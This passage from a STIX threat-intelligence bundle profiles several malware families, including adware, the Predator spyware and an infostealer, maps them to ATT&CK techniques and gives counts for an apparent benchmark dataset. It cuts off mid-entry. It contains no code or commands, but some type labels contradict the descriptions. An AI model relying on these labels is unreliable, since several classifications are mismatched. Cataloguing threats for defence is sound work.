      "description": "<h3>Executive Summary</h3>\nPrast is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware. Masquerading as a convenient system utility, browser add-on, or \"free\" application, its true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and injecting highly intrusive, unclosable advertisements and sponsored content onto the desktop.\n\n<h3>Distribution and Technical Behavior</h3>\nPrast is heavily distributed via deceptive advertising networks and bundled within the \"Express Installation\" settings of free software downloaded from low-reputation download portals.\n\nOnce installed, Prast deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>Ad Injection and Desktop Overlays:</strong> The software acts as a desktop widget, constantly pulling dynamic, unverified advertisements from remote servers. It can also inject banners, pop-unders, and sponsored links directly into the user's web viewing experience.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Prast creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Prast is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction and privacy risks. The continuous ad injections severely degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, significantly increasing the risk of exposure to more severe \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Prast executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Prast",
        "PUP.Prast",
        "BrowserModifier:Win32/Prast"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prast",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prast"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a0d55c-04ec-5afc-a988-c5f733dd170e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5798f714-e003-5d7d-88a7-55aebaffb702",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prast exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea0eaec8-d7ef-50d3-9554-7fcd520a2913",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5798f714-e003-5d7d-88a7-55aebaffb702",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prast exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d240d450-0fb3-5da7-b00b-cc2fc9ee1119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5798f714-e003-5d7d-88a7-55aebaffb702",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prast exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Predator",
      "description": "Predator is a premier commercial zero-day mercenary spyware platform engineered by Cytrox (part of the European surveillance consortium known as the Intellexa Alliance). Discovered and documented by The Citizen Lab and Google's Threat Analysis Group (TAG), Predator has been weaponized by government customers to conduct covert surveillance against high-profile journalists, political opposition figures, human rights defenders, and European Parliament officials. Predator is delivered through precision one-click links (dispatched via SMS, WhatsApp, or Telegram) or zero-click network injection attacks that exploit sophisticated multi-vulnerability exploit chains in mobile web rendering engines (such as WebKit zero-days CVE-2023-41991, CVE-2023-41992, and CVE-2023-41993 on iOS, as well as Chrome flaws on Android). Once implanted on a victim device, Predator operates with kernel-level or root privileges. It provides operators with total surveillance access: recording live ambient audio via device microphones, activating cameras, tracking real-time GPS locations, capturing screen contents, and decrypting communications from end-to-end encrypted messaging applications (including Signal, Telegram, and WhatsApp) directly from device memory before encryption. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Predator Spyware",
        "Cytrox Predator",
        "Intellexa Predator",
        "Alien/Predator",
        "Spyware:Android/Predator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Predator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/predator"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80d3a1a7-ce5f-5779-93be-6da865d2d67d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1190 (Exploit Public-Facing Application)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a26a8362-911d-5a3e-be34-2b5d21b1b5bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1203 (Exploitation for Client Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e2fa50f-aebf-5cdd-a2f7-1815bb790307",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b839d54f-08c7-56c6-9b0c-b89ccf9c66be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64933e87-4165-5a80-9c52-d6819f6db4f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6303696-90cb-5b21-9b86-405e740e122d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b4d74b7-5e4e-5e47-93f7-c9de15e93b8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae73dba3-6efc-54fd-9968-dfa6e32ae940",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3503964-474b-5b9e-96db-ab1e79741a5a",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predator exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--010eb6c0-10b8-51df-b6de-87bd7c81c6ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Predatorthief",
      "description": "<h3>Executive Summary</h3>\nPredator the Thief (often detected as PredatorThief) is a highly sophisticated, commercially sold Information Stealer (Info-Stealer) primarily targeting Windows systems. Available for purchase on underground hacking forums, it provides threat actors of all skill levels with a robust, feature-rich tool designed to rapidly extract sensitive data, credentials, and financial information before the victim realizes they have been compromised.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPredator the Thief is highly versatile and is distributed through numerous vectors, including malspam campaigns (weaponized Office documents), \"crack\" sites offering pirated software, and increasingly via YouTube tutorials containing malicious links in the description.\n\nUpon execution, it performs a rapid, highly aggressive data harvesting operation:\n<ul>\n<li><strong>Browser Exfiltration:</strong> It specifically targets Chromium and Gecko-based browsers (Chrome, Edge, Firefox, Brave) to extract saved passwords, autofill data, credit card numbers, and highly valuable session cookies (allowing attackers to bypass MFA).</li>\n<li><strong>Cryptocurrency and Gaming Theft:</strong> Predator actively searches for desktop cryptocurrency wallets (Bitcoin, Ethereum, Monero) and gaming client session data (Steam, Telegram, Discord), stealing the `wallet.dat` files and authentication tokens.</li>\n<li><strong>System Profiling and Exfiltration:</strong> It collects extensive system details (hardware specs, installed software, IP address), takes a desktop screenshot, and packages all stolen data into a compressed ZIP archive. This archive is then exfiltrated via HTTP POST requests or directly to a Telegram bot controlled by the attacker.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Predator the Thief infection is a critical data breach. The malware is designed to execute quickly; by the time the initial executable is detected by standard antivirus, the data exfiltration has usually already completed. The stolen session tokens and credentials can be immediately used to access corporate networks or drain financial accounts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Global Credential Reset:</strong> The absolute highest priority is a complete password reset. ALL credentials saved in the user's browser, as well as their domain password, must be changed immediately from a *different, clean device*.</li>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications (O365, Google Workspace, Slack, Discord) to invalidate the stolen tokens.</li>\n<li><strong>Endpoint Eradication:</strong> While the primary malware executable can often be removed by EDR, the extent of the data breach necessitates a full forensic review. Re-imaging the machine is highly recommended to ensure no secondary backdoors were deployed during the infection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PredatorTheThief",
        "PWS.Predator",
        "TrojanSpy.PredatorThief"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Predatorthief",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/predatorthief"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea61dcbe-50d7-515f-be6a-2b9e177e27a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--010eb6c0-10b8-51df-b6de-87bd7c81c6ef",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predatorthief exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edea14a3-c4b2-5fe2-90f2-654d62a5bd18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--010eb6c0-10b8-51df-b6de-87bd7c81c6ef",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predatorthief exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df2e75d6-5758-5a5d-9719-fe24f7a1461d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--010eb6c0-10b8-51df-b6de-87bd7c81c6ef",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predatorthief exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79dddb59-73c2-561c-a5dd-27f4ccd03bda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--010eb6c0-10b8-51df-b6de-87bd7c81c6ef",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Predatorthief exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--03c3a0ea-4eee-588a-985f-b5f67af6e72f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Premium",
      "description": "Adware:Win32/Premium (often associated with Premium SMS Fraud or aggressive Potentially Unwanted Programs) is a detection for software that deceptively enrolls users in premium-rate services or displays highly intrusive advertisements. While historically prevalent on mobile devices (J2ME and early Android) via 'Premium SMS' trojans, on Windows, this detection generally refers to Adware that forces users into expensive subscriptions or aggressively monetizes their browsing experience.<br><br><b>Understanding Premium (Adware/Fraud)</b><br>To an end-user, an infection might manifest as unexpected charges on a phone bill (if a mobile device was tethered/synced) or an overwhelming barrage of pop-up ads demanding payment for fake tech support or software subscriptions. For a security team, it represents a breach of endpoint hygiene and a vector for financial fraud against the organization or its employees (`T1496`).<br><br><b>Execution and Hijacking Mechanics</b><br>Premium Adware is typically distributed via deceptive software bundles, fake codec installers, or malicious advertising networks (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and installs persistent browser extensions (`T1176`). It may redirect the user's browser to affiliate sites that attempt to trick them into entering a phone number to 'verify' an account, which actually subscribes them to a $10/week premium SMS service. It also intercepts web traffic to inject sponsored links directly into legitimate websites (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from a severely degraded user experience to direct financial loss. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations. Network IoCs include DNS queries resolving to known adware or affiliate marketing tracking infrastructure. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Premium",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/premium"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f725b8ce-e6ea-547f-a098-55eac815c366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03c3a0ea-4eee-588a-985f-b5f67af6e72f",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Premium exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c13f5ff4-b810-5e19-a6f5-e67bb8989a5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03c3a0ea-4eee-588a-985f-b5f67af6e72f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Premium exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed9883e4-3fb3-5c63-b0b8-3252fef901ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03c3a0ea-4eee-588a-985f-b5f67af6e72f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Premium exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cde9b08f-3c85-5680-aab7-b725c2f56e68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03c3a0ea-4eee-588a-985f-b5f67af6e72f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Premium exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prepscram",
      "description": "SoftwareBundler:Win32/Prepscram (cataloged across security vendor telemetry as Trojan.Prepscram, Win32/Prepscram, or Bundler:Win32/Prepscram) is a prolific software bundler, installer wrapper, and adware dropper platform. Distributed primarily through unauthorized freeware mirrors, torrent hosting portals, and malicious search redirect links, Prepscram packages legitimate freeware setup executables inside an evasive multi-step wrapper. During installation, Prepscram uses deceptive dark patterns and concealed opt-out options to covertly install third-party adware, rogue browser toolbars, tracking add-ons, and persistent background downloaders. It systematically alters default browser search engine providers, injects unauthorized promotional ads into active web sessions, and writes registry Run keys to ensure persistent execution across system reboots. (Observed samples in benchmark: 3,130)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Prepscram",
        "SoftwareBundler:Win32/Prepscram",
        "Trojan.Prepscram",
        "Win32/Prepscram",
        "Bundler:Win32/Prepscram",
        "Prepscram Bundler",
        "Adware.Prepscram"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prepscram",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prepscram"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--218c1f9a-89fe-5d1f-826d-fadb923de342",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prepscram exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e287a1c3-43d4-5c6d-9a2d-6f4ba074d514",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prepscram exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4b964c0-85d8-5095-a4b2-1e202c3a94af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prepscram exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a84aaedb-fcae-53f1-8cc8-db697ef9d7ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prepscram exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a94ac339-1342-5ca7-bea2-4e61fa0786b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7cc5aa9a-ca57-5cf1-ae50-7e1d9d11cac9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prepscram exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pres",
      "description": "Trojan:Win32/Pres is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pres</b><br>To an end-user, a Pres infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pres is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pres is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pres frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pres reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pres",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pres"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5ad0eda-3400-553d-87ed-d3e9cba871f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pres exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4320bfb-0343-53e7-863d-150dec7d3e15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pres exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a9b49e8-cd4e-50ee-8b14-d464d64b0e91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pres exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b33bed09-3341-5809-806d-aa0e68d01747",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pres exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7149ff2f-2ca1-5f34-a8d4-5d8b074a82ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6659ebd4-bc5f-5589-aee3-c7707b14fdfb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pres exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Presenoker",
